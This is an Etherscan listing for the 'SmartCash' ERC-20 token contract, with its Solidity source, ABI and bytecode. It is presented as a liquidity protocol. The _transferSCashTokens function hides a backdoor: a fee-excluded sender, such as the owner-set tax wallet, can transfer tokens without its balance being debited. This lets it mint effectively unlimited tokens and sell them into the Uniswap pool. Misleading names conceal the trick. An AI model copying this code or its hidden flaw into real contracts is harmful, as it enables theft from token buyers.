ETH Price: $2,418.25 (-1.22%)
Gas: 1.07 Gwei

Token

SmartCash (SMARTCASH)
 

Overview

Max Total Supply

1,000,000,000 SMARTCASH

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
slikk.eth
Balance
17,922,631.401724255 SMARTCASH

Value
$0.00
0xAfBA765e49A4545569e955f6C4bABA12E427Bf64
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SMARTCASH

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-27
*/

// SPDX-License-Identifier: Unlicensed

/**
SmartCash is an unwavering and adaptable liquidity protocol that offers users the chance to earn profits while enabling them to document their liquidity-driven actions.

Website: https://smartcash.services
Twitter: https://twitter.com/smartcash_erc
Telegram: https://t.me/smartcash_services_official
Medium: https://medium.com/@smartcash.erc
*/

pragma solidity 0.8.21;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SMARTCASH is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    string private _name = unicode"SmartCash"; 
    string private _symbol = unicode"SMARTCASH";  

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
    
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint8 private countSCashTx = 0;
    uint8 private swapSCashTrigger = 2; 
    uint256 public maxSCashFee = 12; 
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    uint256 private _totalFee = 2000;
    uint256 public _buyFee = 20;
    uint256 public _sellFee = 20;
    bool public swapAndLiquifyEnabled = true;

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address SCashWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(SCashWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countSCashTx >= swapSCashTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countSCashTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapSCashAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function _transferSCashTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getSCashValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapSCashAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapSCashForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToSCashWallet(_taxAddress,contractETH);
    }
    
    function removeAllSCashFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    receive() external payable {}
    
    function removeSCashLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function swapSCashForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function restoreAllSCashFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function sendToSCashWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getSCashValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllSCashFee();
            } else {
                countSCashTx++;
            }
        _transferSCashTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllSCashFee();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"SCashWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSCashFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeSCashLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260096080908152680a6dac2e4e886c2e6d60bb1b60a0526001906200002a9082620004d5565b506040805180820190915260098152680a69a82a4a88682a6960bb1b60208201526002906200005a9082620004d5565b50600480546001600160a81b0319167409000000000000000000000000000000000000dead17908190556200009c9060ff600160a01b90910416600a620006ac565b620000ac90633b9aca00620006c3565b60058190556006805461ffff1916610200179055600c6007556107d0600d556014600e819055600f556010805460ff19166001179055606490620000f2906002620006c3565b620000fe9190620006dd565b601155620186a0600554620001149190620006dd565b601255601154601355600d54601455600e54601555600f546016553480156200013b575f80fd5b50604051620019b6380380620019b68339810160408190526200015e91620006fd565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360055460085f620001b45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f2093909355600380546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000237573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025d9190620006fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cf9190620006fd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200031a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003409190620006fd565b600c80546001600160a01b03199081166001600160a01b0393841617909155600b80549091169183169190911790556001600a5f620003865f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556003549091168152600a909252902080549091166001179055620003de5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200042591815260200190565b60405180910390a3505062000725565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200045e57607f821691505b6020821081036200047d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004d0575f81815260208120601f850160051c81016020861015620004ab5750805b601f850160051c820191505b81811015620004cc57828155600101620004b7565b5050505b505050565b81516001600160401b03811115620004f157620004f162000435565b620005098162000502845462000449565b8462000483565b602080601f8311600181146200053f575f8415620005275750858301515b5f19600386901b1c1916600185901b178555620004cc565b5f85815260208120601f198616915b828110156200056f578886015182559484019460019091019084016200054e565b50858210156200058d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005f157815f1904821115620005d557620005d56200059d565b80851615620005e357918102915b93841c9390800290620005b6565b509250929050565b5f826200060957506001620006a6565b816200061757505f620006a6565b81600181146200063057600281146200063b576200065b565b6001915050620006a6565b60ff8411156200064f576200064f6200059d565b50506001821b620006a6565b5060208310610133831016604e8410600b841016171562000680575081810a620006a6565b6200068c8383620005b1565b805f1904821115620006a257620006a26200059d565b0290505b92915050565b5f620006bc60ff841683620005f9565b9392505050565b8082028115828204841417620006a657620006a66200059d565b5f82620006f857634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200070e575f80fd5b81516001600160a01b0381168114620006bc575f80fd5b61128380620007335f395ff3fe60806040526004361061013f575f3560e01c8063590f897e116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039a578063a9059cbb146103ae578063dd62ed3e146103cd578063eb336fe914610411578063f2fde38b14610426575f80fd5b8063590f897e146102c857806370a08231146102dd578063715018a614610311578063768dc7101461032757806378109e54146103555780638cc008941461036a575f80fd5b8063220f669611610104578063220f66961461021157806323b872dd14610231578063313ce5671461025057806340b9a54b1461027b57806349bd5a5e146102905780634a74bb02146102af575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a35780631694505e146101c657806318160ddd146101fd575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860125481565b60405190815260200161016b565b3480156101d1575f80fd5b50600b546101e5906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610208575f80fd5b506005546101b8565b34801561021c575f80fd5b50600c5461019390600160a01b900460ff1681565b34801561023c575f80fd5b5061019361024b366004610ffc565b6104eb565b34801561025b575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b348015610286575f80fd5b506101b8600e5481565b34801561029b575f80fd5b50600c546101e5906001600160a01b031681565b3480156102ba575f80fd5b506010546101939060ff1681565b3480156102d3575f80fd5b506101b8600f5481565b3480156102e8575f80fd5b506101b86102f736600461103a565b6001600160a01b03165f9081526008602052604090205490565b34801561031c575f80fd5b50610325610552565b005b348015610332575f80fd5b5061019361034136600461103a565b600a6020525f908152604090205460ff1681565b348015610360575f80fd5b506101b860115481565b348015610375575f80fd5b506103256105cc565b348015610389575f80fd5b505f546001600160a01b03166101e5565b3480156103a5575f80fd5b5061015e61060b565b3480156103b9575f80fd5b506101936103c8366004610fd2565b61061a565b3480156103d8575f80fd5b506101b86103e7366004611055565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101b860075481565b348015610431575f80fd5b5061032561044036600461103a565b610626565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b610548843361054385604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526009602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110c4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110c4565b5f196011556064600d556001600e819055600f55565b6060600280546104549061108c565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057b906110c4565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506003546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b80156108275750600c546001600160a01b03838116911614155b801561084157506004546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f90815260086020526040902054601154610884838361110d565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60065460ff610100820481169116108015906109c3575060125481115b80156109d95750600c54600160a01b900460ff16155b80156109fd57506001600160a01b0383165f908152600a602052604090205460ff16155b8015610a165750600c546001600160a01b038381169116145b8015610a24575060105460ff165b15610a53576006805460ff19169055305f908152600860205260409020548015610a5157610a5181610b4c565b505b6001600160a01b0383165f908152600a602052604090205460019060ff1680610a9357506001600160a01b0383165f908152600a602052604090205460ff165b80610ac55750600c546001600160a01b03858116911614801590610ac55750600c546001600160a01b03848116911614155b15610ad157505f610b0f565b600c546001600160a01b0390811690851603610af257600e54600d55610b0f565b600c546001600160a01b0390811690841603610b0f57600f54600d555b610b1b84848484610b91565b50505050565b5f8184841115610b445760405162461bcd60e51b815260040161057b9190610f70565b505050900390565b600c805460ff60a01b1916600160a01b179055610b6881610bf6565b6003544790610b80906001600160a01b031682610d46565b5050600c805460ff60a01b19169055565b80610ba357610b9e610d7e565b610bcf565b6006805460ff16905f610bb583611120565b91906101000a81548160ff021916908360ff160217905550505b610bda848484610dc2565b80610b1b57610b1b601454600d55601554600e55601654600f55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c2957610c2961113e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c80573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca49190611152565b81600181518110610cb757610cb761113e565b6001600160a01b039283166020918202929092010152600b54610cdd913091168461070d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d159085905f9086903090429060040161116d565b5f604051808303815f87803b158015610d2c575f80fd5b505af1158015610d3e573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610d79573d5f803e3d5ffd5b505050565b600d54158015610d8e5750600e54155b8015610d9a5750600f54155b15610da157565b600e8054601555600f8054601655600d80546014555f928390559082905555565b5f80610dcd83610f02565b6001600160a01b0387165f908152600a602090815260408083205460115460089093529083205494965092945060ff90921692919091111590828015610e105750815b90508015610e28575f9350610e2585876111dc565b95505b6001600160a01b0388165f90815260086020526040902054610e4a9087610f3d565b6001600160a01b03808a165f908152600860205260408082209390935590891681522054610e789086610f4f565b6001600160a01b0388165f90815260086020526040808220929092553081522054610ea39085610f4f565b305f9081526008602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f256064610f1f600d5487610f5a90919063ffffffff16565b90610f65565b90505f610f328583610f3d565b959194509092505050565b5f610f4882846111dc565b9392505050565b5f610f48828461110d565b5f610f4882846111ef565b5f610f488284611206565b5f6020808352835180828501525f5b81811015610f9b57858101830151858201604001528201610f7f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fcf575f80fd5b50565b5f8060408385031215610fe3575f80fd5b8235610fee81610fbb565b946020939093013593505050565b5f805f6060848603121561100e575f80fd5b833561101981610fbb565b9250602084013561102981610fbb565b929592945050506040919091013590565b5f6020828403121561104a575f80fd5b8135610f4881610fbb565b5f8060408385031215611066575f80fd5b823561107181610fbb565b9150602083013561108181610fbb565b809150509250929050565b600181811c908216806110a057607f821691505b6020821081036110be57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e5576104e56110f9565b5f60ff821660ff8103611135576111356110f9565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611162575f80fd5b8151610f4881610fbb565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111bb5784516001600160a01b031683529383019391830191600101611196565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e5576104e56110f9565b80820281158282048414176104e5576104e56110f9565b5f8261122057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e3144b0d8191d4e1fb4052e41b3c034d910a3f35ac9b3075edddbaaac460e6764736f6c6343000815003300000000000000000000000091d9375f78cf49dec71ab12ea51a0978c42595da

Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063590f897e116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039a578063a9059cbb146103ae578063dd62ed3e146103cd578063eb336fe914610411578063f2fde38b14610426575f80fd5b8063590f897e146102c857806370a08231146102dd578063715018a614610311578063768dc7101461032757806378109e54146103555780638cc008941461036a575f80fd5b8063220f669611610104578063220f66961461021157806323b872dd14610231578063313ce5671461025057806340b9a54b1461027b57806349bd5a5e146102905780634a74bb02146102af575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a35780631694505e146101c657806318160ddd146101fd575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860125481565b60405190815260200161016b565b3480156101d1575f80fd5b50600b546101e5906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610208575f80fd5b506005546101b8565b34801561021c575f80fd5b50600c5461019390600160a01b900460ff1681565b34801561023c575f80fd5b5061019361024b366004610ffc565b6104eb565b34801561025b575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b348015610286575f80fd5b506101b8600e5481565b34801561029b575f80fd5b50600c546101e5906001600160a01b031681565b3480156102ba575f80fd5b506010546101939060ff1681565b3480156102d3575f80fd5b506101b8600f5481565b3480156102e8575f80fd5b506101b86102f736600461103a565b6001600160a01b03165f9081526008602052604090205490565b34801561031c575f80fd5b50610325610552565b005b348015610332575f80fd5b5061019361034136600461103a565b600a6020525f908152604090205460ff1681565b348015610360575f80fd5b506101b860115481565b348015610375575f80fd5b506103256105cc565b348015610389575f80fd5b505f546001600160a01b03166101e5565b3480156103a5575f80fd5b5061015e61060b565b3480156103b9575f80fd5b506101936103c8366004610fd2565b61061a565b3480156103d8575f80fd5b506101b86103e7366004611055565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101b860075481565b348015610431575f80fd5b5061032561044036600461103a565b610626565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b610548843361054385604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526009602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110c4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110c4565b5f196011556064600d556001600e819055600f55565b6060600280546104549061108c565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461b